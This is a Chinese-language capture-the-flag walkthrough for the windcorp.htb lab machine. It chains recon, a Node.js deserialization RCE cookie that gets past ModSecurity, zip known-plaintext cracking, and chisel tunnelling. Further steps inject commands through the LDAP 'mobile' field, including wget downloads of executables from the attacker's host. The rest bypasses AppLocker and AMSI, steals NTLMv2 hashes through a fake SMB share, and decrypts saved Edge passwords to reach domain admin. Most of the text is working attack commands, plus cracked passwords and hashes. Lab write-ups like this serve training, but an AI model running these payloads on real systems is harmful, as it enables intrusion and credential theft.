基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -Pn 10.10.11.179
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-28 13:12 CST
Nmap scan report for 10.10.11.179
Host is up (0.19s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 8c7155df97275ed5375a8de2923bf36e (RSA)
|   256 b232f5889bfb58fa35b0710c9abd3cef (ECDSA)
|_  256 eb73c0936e40c8f6b0a828937d18474c (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.09 seconds

80

需要加hosts：

1
10.10.11.179 www.windcorp.htb

子域名扫描

继续扫描子域名发现portal：

1
2
3
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u "http://www.windcorp.htb/" -H 'Host: FUZZ.windcorp.htb' -fs 153

portal                  [Status: 403, Size: 2436, Words: 234, Lines: 44, Duration: 203ms]

portal

同样加hosts后访问：

portal

常规弱口令 admin:admin 登录，根据cookie和响应头可以知道是nodejs：

ModSecurity

简单测试可以发现存在ModSecurity：

shell

利用modsecurity ruleset bypass和nodejs rce实现rce：

1
2
3
python2 nodejsshell.py 10.10.14.6 4444

curl -i --cookie "app=$cookie_app;profile=$(echo '{"username":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,......59,10))}()"}'|base64 -w0)=<original_cookie>" 'http://portal.windcorp.htb/'

得到webster用户shell：

backup.zip

zip文件无法直接破解，但能够查看里面目录结构，知道其中包括/etc/passwd文件，我们可以尝试已知明文攻击：

1
2
3
4
5
6
7
8
9
# create a zip of the passwd file
cp /etc/passwd . && zip passwd.zip passwd

# crack and this produces a sequence of codes
./bkcrack -C backup.zip -c etc/passwd -P passwd.zip -p passwd
d6829d8d 8514ff97 afc3f825

# set a new pass to the encrypted file
./bkcrack -C backup.zip -U unlocked.zip miao -k d6829d8d 8514ff97 afc3f825

var/lib/sss/db/cache_windcorp.htb.ldb中发现一组账号hash,破解出来密码是pantera：

1
2
3
4
5
Ray.Duncan@WINDCORP.HTB

$6$nHb338EAa7BAeuR0$MFQjz2.B688LXEDsx035.Nj.CIDbe/u98V3mLrMhDHiAsh89BX9ByXoGzcXnPXQQF/hAj5ajIsm0zB.wg2zX81

pantera

ray.duncan & user flag

使用域账号ssh登录，ray.duncan可以得到webserver的root权限：

1
2
3
ssh 'ray.duncan@windcorp.htb'@10.10.11.179

pantera

webserver的root得到user flag：

容器网络扫描

进一步探测容器子网,发现192.168.0.2应该是DC：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for p in {1..65535}; do nc -vn 192.168.0.2 $p -w 1 -z & done 2> output.txt

(UNKNOWN) [192.168.0.2] 22 (ssh) open
(UNKNOWN) [192.168.0.2] 53 (domain) open
(UNKNOWN) [192.168.0.2] 80 (http) open
(UNKNOWN) [192.168.0.2] 88 (kerberos) open
(UNKNOWN) [192.168.0.2] 389 (ldap) open
(UNKNOWN) [192.168.0.2] 445 (microsoft-ds) open
(UNKNOWN) [192.168.0.2] 464 (kpasswd) open
(UNKNOWN) [192.168.0.2] 3268 (?) open
(UNKNOWN) [192.168.0.2] 3269 (?) open
(UNKNOWN) [192.168.0.2] 5985 (?) open
(UNKNOWN) [192.168.0.2] 9389 (?) open
(UNKNOWN) [192.168.0.2] 49664 (?) open
(UNKNOWN) [192.168.0.2] 51648 (?) open
(UNKNOWN) [192.168.0.2] 58219 (?) open
(UNKNOWN) [192.168.0.2] 64610 (?) open

所以需要设置代理和DC通信：

1
2
3
4
5
# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse

# target
./chisel_1.7.6_linux_amd64 client --max-retry-count=1 -v 10.10.14.6:9999 R:1080:socks

然后设置好proxychains,即可和DC通信：

1
proxychains4 python3 ~/Tools/impacket/examples/getST.py -dc-ip 192.168.0.2 -spn cifs/hope.windcorp.htb 'windcorp.htb/ray.duncan:pantera'

SMB

上面已经获得了ST，使用ST访问smb：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
export KRB5CCNAME=ray.duncan.ccache
proxychains4 python3 ~/Tools/impacket/examples/smbclient.py ray.duncan@hope.windcorp.htb -k -no-pass

# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
WC-Share
# use WC-Share
# cd temp
# cat debug-users.txt
IvanJennings43235345
MiriamMills93827637
BenjaminHernandez23232323
RayDuncan9342211

LDAP

参考这个：

在受感染的容器上，转储 ldap 数据库以获取更多信息：

1
ldapsearch -LLLY GSSAPI -H ldap://windcorp.htb -b 'DC=windcorp,DC=htb' > ldapinfo.txt

命令注入

我们可以更改 ray.duncan 的手机号，这个字段容易被cmd注入。以以下形式构造有效负载：mobile: ;<cmd>

1
2
3
4
5
6
7
8
# create a mod.ldif
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: ;wget http://10.10.14.6:7777/file -O c:\wc-share\file;

# then send to modify the ldap record
ldapmodify -Y GSSAPI -H ldap://windcorp.htb -D "CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb" -f mod.ldif

检查更改并等待一段时间（2 分钟）以观察希望的请求。注意：mobile字段有字符限制（即 64）

applocker

目标正在运行applocker，我们可以制作一个 ldif 来获取 applocker 策略

1
2
3
4
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: ;Get-AppLockerPolicy -Effective -Xml > c:\wc-share\u

通过阅读政策，我们了解到我们需要寻找一个不在例外列表中的可以写入的文件夹

参考这个：

1
2
3
4
5
6
7
<FilePathRule Id="2c47f772-4d79-4493-b64b-613e17f0011c" Name="All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
    <Conditions>
        <FilePathCondition Path="%WINDIR%\*" />
    </Conditions>
    <Exceptions>
        ...
    </Exceptions>

我们需要的另一件事是绕过amsi,参考：

scriptrunner

编译后继续通过ldap出发执行，得到DC上的scriptrunner shell：

1
2
3
4
5
6
7
8
9
10
11
# upload the bypass code
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: ;wget http://10.10.14.6:7777/B.exe -O C:\windows\debug\wia\B.exe

# run it
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: ;Start-Process -FilePath C:\windows\debug\wia\B.exe

信息

运行winpeas，发现启用了ntlmv2，可以使用smbserver进行ntlm泄漏攻击：

1
2
# on webserver
./smbserver miao . -smb2support

使用以下 ldif 触发 DC 浏览到我们的假 smbserver:

1
2
3
4
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: ;cd \\webserver.windcorp.htb\miao\

等待触发，得到hash破解出来：

1
2
3
[*] scriptrunner::WINDCORP:aaaaaaaaaaaaaaaa:7fac7b077275dce97d19f843ee6abffd:0101000000000000002d44218c1ad901ac6dba83ddbdf08f0000000001001000580044006200480072004d0065007800020010006d00660073004f00440047005900740003001000580044006200480072004d0065007800040010006d00660073004f00440047005900740007000800002d44218c1ad90106000400020000000800300030000000000000000000000000210000848ca8512f99bcb680a900509bb131558d94dbc4f37763d4ef3f770b53d146680a001000000000000000000000000000000000000900360063006900660073002f007700650062007300650072007600650072002e00770069006e00640063006f00720070002e006800740062000000000000000000

!@p%i&J#iNNo1T2

bob.wood

上面得到的密码也是bob.wood的密码，使用powershell以他的身份执行命令：

1
2
3
4
$SecPassword = ConvertTo-SecureString '!@p%i&J#iNNo1T2' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('bob.wood', $SecPassword)
$session = New-PSSession -Credential $Cred
Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\B.exe }

上传sharphound，再次采集数据，貌似bob.wood是IT的成员，对DC有PSRemote权限。但是，我们需要成为域管理员（例如 bob.woodadm）才能获取管理员通行证。假设 bob.wood 可能使用同一台计算机作为 bob.woodadm 登录以进行管理工作是合乎逻辑的。因此，在浏览器缓存中搜索可能会找到有用的信息。

bob.woodadm凭据保存在 Edge 中，可在此处找到：C:\users\bob.wood\appdata\local\microsoft\edge\user data\default\Login Data

使用此工具解密密码:

1
2
3
4
5
6
7
8
PS C:\windows\debug\wia> .\hbd.exe
[NOTICE] [browsingdata.go:71,Output] output to file results/microsoft_edge_default_password.csv success

PS C:\windows\debug\wia> cat results/microsoft_edge_default_password.csv
UserName,Password,LoginURL,CreateDate
bob.woodADM@windcorp.com,smeT-Worg-wer-m024,http://webmail.windcorp.com/login.html,2022-07-04T18:46:59.133335+02:00
bob.wood@windcorp.htb,SomeSecurePasswordIGuess!09,http://google.com/login.html,2022-07-04T18:14:00.217981+02:00
bob.wood@windcorp.htb,SemTro?32756Gff,http://somewhere.com/login.html,2022-07-04T18:12:42.849216+02:00

bob.woodADM

现在，以 bob.woodadm 身份登录并捕获根标志:

1
2
3
4
$SecPassword = ConvertTo-SecureString 'smeT-Worg-wer-m024' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('bob.woodADM', $SecPassword)
$session = New-PSSession -Credential $Cred
Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\B.exe }

参考资料